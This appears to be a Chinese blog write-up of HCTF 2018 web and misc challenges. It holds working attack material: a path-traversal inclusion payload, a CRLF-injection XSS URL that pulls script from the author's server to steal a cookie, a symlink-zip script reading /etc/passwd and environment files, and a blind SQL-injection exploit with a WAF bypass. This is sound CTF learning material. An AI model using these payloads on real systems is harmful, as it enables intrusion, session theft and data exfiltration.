HCTF2018-writeup

之前那个周末跟着De1ta打了一波HCTF,大部分题目质量很不错,学到了不少东西。真心佩服这个举办了十年的比赛,深深地膜一下杭电的大佬们。

Web

warm up

description:

warmup

签到题,注释提示source.php,拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 <?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

这是一个CVE虽然是签到题,但是比较有意思。规定了file参数必须包含hint.php/source.php,然后,看看它的截取方式enter description here在最后面加一个?,然后截取第一个问号前的字符,如果依然在白名单内,就return true,包含file参数。这里构造file=hint.php?/../../../../../../ffffllllaaaagggg即可get flag,?后面加个/是把前面的部分当作目录。这是利用了第二个return true,如果要利用第三个,把?进行二次url编码,构造file=hint.php%25%33%66/../../../../../../ffffllllaaaagggg即可。enter description here

Game

这道题是赛后搞出来的..比赛的时候看了好久都没发现有什么玄机,有点烦。
description:

crazy inject
flag.php was moved to web2/flag.php

题目有注册、登录功能,有一个gameplay功能,就是一个鼠标点一下就加一分的游戏,然后有一个公屏,显示了所有已注册账号的序号、用户名、性别和游戏分数。enter description hereenter description here说一下当时的思路,这个题可控的参数比较多,所以摸索的过程也很漫长,首先,score的更新是用http://game.2018.hctf.io/web2/action.php?action=score&score=9这样来实现的,score可以自由定义,从而实现修改把score修改为任意值,最大值是4294967295,当时以为可能与溢出有关,但是怎么想都不会与溢出扯上关系,遂放弃。另外,http://game.2018.hctf.io/web2/user.php?order=id/username/sex/score这样可以以不同的标准进行排序,当时发现用order=1/2/3/4也是可以的,但是大于4就不行,这里想到可能有sql注入的点,fuzz了一下,发现所有特殊字符都被ban了,只要能在键盘上找到的,都被ban了。这说明这里是绝对不可能注入的..然后就转移目标,一直去找注册的地方会不会有SQL注入,但是不存在,毫无突破。
后面发现http://game.2018.hctf.io/web2/user.php?order=password,这样可以按照密码进行排序…解法就是,不断注册新用户,密码逐位逐位与admin的密码比较,最后得到admin的密码,比如注册个密码为d的用户enter description here然后按密码排序,发现它在admin下面enter description here然后注册一个密码为e的用户,发现他在admin上面enter description hereenter description here由此可以推算出admin密码第一位是d,按照此原理,逐位得到完整的admin密码为dsa8&&!@#$%^&d1ngy1as3dja,登录访问flag.php即可getflag。enter description here这题比较脑洞,感觉挺坑的..

bottle

descryption:

Not hard, I believe you are the lucky one!
hint1: */3 */10
hint2: bot use firefoxDriver

这道题给了个注册和登录的功能enter description here进去之后有个submit url的功能enter description here自然想到有可能是SSRF或者XSS啥的。这里它会请求你发过去的url,页面只会显示一个success。自然想到,能不能xss?试一下,在我的VPS上写好payload,然后发送http://123.207.99.17/fuck.js过去,发现能够请求,但是并不能执行enter description here这时候就想,会不会是存在csp?然后发现,登录的时候会发一个包enter description here这个path参数是可控的,非常可疑。然后发现,发送这个包之后就会进行302跳转,而且响应包有cspenter description here这里就要用到p牛写过的一篇文章的一个CLRF的姿势,按着文章里说的做就可以了,这样可以实现绕过http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/%0d%0aContent-Length:%2065%0d%0a%0d%0a%3Cscript%20src=http://123.207.99.17/fuck.js%3E%3C/script%3E成功打到cookieenter description here替换cookie即可getflagenter description here

admin

description:

ch1p want to have new notes,so i write,hahaha

题目有注册,登录,post功能enter description here但是post功能每次就返回一个post successful,而且找不到任何可以利用的方法。后面发现,https://github.com/woadsl1234/hctf_flask有源码(居然藏在修改密码的注释里)审计源码,发现数据库每30s重置一次enter description here然后发现一个strlower函数enter description here而且这个函数在注册、登录、修改密码的时候都会调用。还发现如果以admin身份登录就能看到flagenter description here参考这篇文章enter description here请看:enter description here要注意的是,twisted的版本是10.2.0enter description here新版本已经修复了此漏洞,非常感谢我的好友hwh的提醒。
由此想到一个利用链:注册ᴬdmin用户,经函数处理后,此时你登录就是Admin,然后修改密码,再次经过函数处理,修改的就是admin的密码。enter description heregetflagenter description here

hide and seek

description:

only admin can get it update1/更新1: 1. fix bugs 2. attention: you may need to restart all your work as something has changed hint: 1. docker 2. only few things running on it update2/更新2: Sorry,there are still some bugs, so down temporarily. update3/更新3: fixed bug

任意用户名密码可以登录,进来之后有个上传zip的功能enter description here测试一下,发现这个功能可以返回zip里面的东西enter description hereenter description here想到软链接,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#! /usr/bin/env python
# -*- coding: utf-8 -*-

import os
import sys
import re
import requests
import random

cookies={'_ga':'GA1.2.1132956760.1540006930',
'_gid':'GA12.1769035169.1541764743',
'session':'eyJ1c2VybmFtZSI6ImJhIn0.DsjA1Q.a4m96oBMD0FhrWejAiFQRWPwKek'}

def upload():
url = "http://hideandseek.2018.hctf.io/upload"
files = {"the_file": ("test112i%sz.zip"%str(random.randint(0,1000)), open("test.zip", "rb"), "application/octet-stream")}
r = requests.post(url, files=files,cookies=cookies)
data = r.content
print data

def main():
filename = sys.argv[1]
print filename
os.system("rm test")
os.system("ln -s %s test"%filename)
os.system("zip --symlinks test.zip test")
upload()


if __name__ == '__main__':
main()

然后就是愉快地读文件了. /etc/passwd:enter description here/proc/self/environ:

1
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi^@SUPERVISOR_GROUP_NAME=uwsgi^@HOSTNAME=e59e6990712c^@SHLVL=0^@PYTHON_PIP_VERSION=18.1^@HOME=/root^@GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D^@UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini^@NGINX_MAX_UPLOAD=0^@UWSGI_PROCESSES=16^@STATIC_URL=/static^@UWSGI_CHEAPER=2^@NGINX_VERSION=1.13.12-1~stretch^@PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin^@NJS_VERSION=1.13.12.0.2.0-1~stretch^@LANG=C.UTF-8^@SUPERVISOR_ENABLED=1^@PYTHON_VERSION=3.6.6^@NGINX_WORKER_PROCESSES=auto^@SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock^@SUPERVISOR_PROCESS_NAME=uwsgi^@LISTEN_PORT=80^@STATIC_INDEX=0^@PWD=/app/hard_t0_guess_n9f5a95b5ku9fg^@STATIC_PATH=/app/static^@PYTHONPATH=/app^@UWSGI_RELOADS=0^@

可以看到一个UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini,读一下:

1
2
3
[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app

然后去读/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

第一眼看过去,还以为要爆破随机数种子,后面才看到随机数种子是定义好的enter description here这时候想,可能是admin才能拿到flag,读一下templates/index.html,证实了看法:enter description here回到主代码,它用了uuid.getnode(),百度一下这是啥enter description here再看看怎么拿到mac地址enter description here感觉马上就能破案了。先来看看uuid.getnode()和mac地址是啥关系enter description here可以看到uuid.getnode()其实就是mac地址转成10进制。
那么我们来拿一下题目的mac地址enter description here然后本地替换随机数种子,即可伪造cookie,注意python版本是3。enter description hereenter description here替换cookie即可enter description here

kzone

description:

A script kid’s phishing website

直接访问题目url会跳转到qq空间,检测一波源码泄露,发现www.zip,开启代码审计,目录结构:enter description herecommon.php包含了include目录下的其他文件enter description hereadmin下的文件都包含了common.phpenter description here来看一下最关键的member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
if (isset($_SESSION['islogin'])) {
if ($_SESSION["admin_user"]) {
$admin_user = base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $_SESSION["admin_pass"]) {
$islogin = 1;
}
}
}
?>

$_COOKIE['loin_data']进行json_decode,然后把相应的参数放到sql查询语句中,这里就存在一个SQL注入。要注意的是这里是有waf的,safe.php中定义了waf:

1
2
3
4
5
6
7
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}

我们先不看SQL注入,假设这里不存在注入,只要登录即可getflag,那么我们应该如何登录?题目代码对密码检查的处理十分瞩目enter description here它从数据库中拿到password后,加了个盐,然后sha1加密了一下,与我们传过去的密码进行==比较,这里明显可以利用php的弱类型绕过,但是也有条件,那就是sha1加密之后的结果开头必须是数字。只需要把密码从0开始爆破就可以了,爆到65的时候,成了。要注意的是数字不要加引号,json是可以传数字的。enter description hereenter description here这时候看回SQL注入,这里有一个重要的技巧,json_decode会把unicode还原成相应字符,可以参考这篇文章,请看:enter description here通过这种方法,整个waf其实已经形同虚设,构造一下cookie即可实现timing盲注,结合爆破到的65,可以优化为boolean盲注。such as:enter description hereenter description here给个boolean盲注的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#encoding:utf-8
__author__='C0mRaDe'
import requests
#union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#

union='union'.replace('u','\\u00'+hex(ord('u'))[2:])
Ascii='ascii'.replace('a','\\u00'+hex(ord('a'))[2:])
mid='mid'.replace('m','\\u00'+hex(ord('m'))[2:])
least='least'.replace('l','\\u00'+hex(ord('l'))[2:])
substr='substr'.replace('s','\\u00'+hex(ord('s'))[2:])
sleep='sleep'.replace('s','\\u00'+hex(ord('s'))[2:])
OR='or'.replace('o','\\u00'+hex(ord('o'))[2:])
If='if'.replace('i','\\u00'+hex(ord('i'))[2:])
equals='='.replace('=','\\u00'+hex(ord('='))[2:])
annotation='#'.replace('#','\\u00'+hex(ord('#'))[2:])

headers={'Host': 'kzone.2018.hctf.io',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'}
proxies={'http':'http://127.0.0.1:8080'}
url='http://kzone.2018.hctf.io/admin/'
result=''
order=1
# dicts=string.digits+string.letters

while True:
for i in range(32,127):
payload="s'or ascii(mid((select F1a9 from F1444g),%s,1))=%s#"%(order,i)
payload=payload.replace('or',OR)
payload=payload.replace('if',If)
payload=payload.replace('ascii',Ascii)
payload=payload.replace('mid',mid)
payload=payload.replace(' ','/**/')
payload=payload.replace('=',equals)
payload=payload.replace('#',annotation)
payload='{"admin_user":"%s","admin_pass":65}'%payload
cookies={'_ga':'GA1.2.1872226905.1542030555',
'_gid':'GA1.2.2053775419.1542030555',
'islogin':'1',
'PHPSESSID':'pr9d6drb9r6bl6fbqjk8uoggi7',
'login_data':payload}
try:
r=requests.get(url=url,headers=headers,cookies=cookies,timeout=2)
if len(r.content)>2000:
order+=1
result+=chr(i)
print result
break
except Exception as e:
print e

enter description here这个题,假如不能用\,也是可以硬刚的,给出Eur3kA大佬的做法enter description here这里他们用来拿数据库名和数据表名的表是mysql.innodb_table_stats,这个表的结构是这样的enter description here或者mysql.innodb_index_statsenter description here含义很明确,以后遇到or或者information_schema被ban的情况可以用,不过要求版本要较高(>5.6.x),而且需要使用innodb引擎,这题在install.sql可以看出。enter description here

share

description:

I have built an app sharing platform, welcome to share your favorite apps for everyone
hint1:https://paste.ubuntu.com/p/VfJDq7Vtqf/
Alpha_test code:https://paste.ubuntu.com/p/qYxWmZRndR/
hint2:
<%= render template: “home/“+params[:page] %>
in root_path
hint3:based ruby 2.5.0

misc

eazy dump

description:

you got it?

之前护网杯碰到了内存取证,这次看到这题就直接进来开干了,结果一晚上没干出来。pslist:enter description here有一个minesweeper.exe,是个扫雷的截图enter description here当时没有头绪,甚至把所有数字还原了出来enter description here后面又研究了一下wordpad.exe,但是没有收获。突破口是mspaint.exe,dump出来,把后缀名改成data,然后用gimp打开,调节偏移量和宽高,如果看不清可以调一下图像类型。enter description here

some thoughts

  • 有用的注释有可能出现在任何一个页面,一定要注意细节。
  • 有的题目可能就是差一个比较难发现的突破点,一旦突破就非常简单,比如game那题找到order=password这个点。
  • misc实在是太伤身体了。